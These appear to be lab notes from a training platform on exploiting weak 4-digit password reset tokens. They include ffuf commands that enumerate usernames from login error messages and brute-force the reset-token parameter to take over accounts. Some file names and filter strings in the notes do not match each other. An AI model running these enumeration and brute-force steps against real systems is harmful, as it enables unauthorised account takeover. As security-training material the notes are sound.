password-recovery is a functionality that typically relies on a one-time reset token, which is transmitted to the user, for instance, via SMS or E-Mail. reset tokens (in the form of a code or temporary password) are secret data generated by an application when a user requests a password reset. password reset tokens can enable an attacker to reset an account's password without knowledge of the password and can be leveraged as an attack vector to take over a victim's account if implemented incorrectly. when performing this type of attack, there must be an assumption that there are active users who are in the process of resetting their passwords IOT brute-force all active reset tokens. also, a valid webapp user must already be identified IOF this to work.
the following procedure is used to identify weak password reset tokens.
create an account on the target web application
request a password reset token
perform analysis
#example reset token request receive via email
Hello,
We have received a request to reset the password associated with your account. To proceed with resetting your password, please follow the instructions below:
1. Click on the following link to reset your password: Click
2. If the above link doesn't work, copy and paste the following URL into your web browser: http://weak_reset.htb/reset_password.php?token=7351
Please note that this link will expire in 24 hours, so please complete the password reset process as soon as possible. If you did not request a password reset, please disregard this e-mail.
Thank you.
#analysis
* the password reset link contains the reset token in the GET-parameter token
- http://weak_reset.htb/reset_password.php?token=7351
- the token consists of only 4 digit numbers and can be easily brute forced
- each digit position can have at most 10 digits which are 0 through 9
- since there is 4 digit positions, the formula will be
- 10^4 = 10,000 combinations; 0000 - 9999
#identify valid webapp users
#manually verify whether the web login page will display an error stating that the user name is invalid
root@oco:~$ BROWSER > {targetSite:port}
username: invalid
password: invalid
* error: "Invalid username or password"
- the error msg is case sensitive and MUST be specified exactly as shown when using ffuf, hydra, etc
#register a free account IOT identify whether the service uses weak reset tokens
root@oco:~$ BROWSER > {targetSite:port} > Register
username: {arbitraryValue}
password: {arbitraryValue}
...
#issue a password reset request
root@oco:~$ BROWSER > {targetSite:port} > Password Reset
email: {arbitraryValue}
...
* identify reset page within the page
#identify the error value when resetting password
root@oco:~$ BROWSER > {http://94.237.51.215:55891/reset_password.php}
* The provided token is invalid
#automate the process of enumerating usernames
root@oco:~$ curl -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Usernames/xato-net-10-million-usernames.txt
root@oco:~$ ffuf -w xato-net-10-million-usernames.txt -u http://94.237.51.215:55891/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Invalid username or password"
* the -w represents the wordlist to use
* the -u represents the target URL and page
* the -X POST represents the HTTP method to use
* the -H is used to add a custom header to the HTTP requests
- the Content-Type application/x-www-form-urlencoded is often used when sending data in a form submission
* the -d represents the data
* the -fr is used to filter out results based on a specific response string
- If the string "Unknown user" appears in the HTTP response, those results will be excluded from the output
* assuming there is a user named admin
#generate pwResetTokens
root@oco:~$ seq -w 0 9999 > pwResetTokens.txt
* The -w flag pads all numbers to the same length by prepending zeroes
root@oco:~$ cat pwResetTokens.txt
0000
...
9999
#assuming there is a password reset request already initiated
root@oco:~$ ffuf -w ./tokens.txt -u http://weak_reset.htb/reset_password.php?token=FUZZ -fr "The provided token is invalid"
* specifying the reset token in the GET-parameter token in the /reset_password.php endpoint will reset the password of the corresponding account enabling account takeover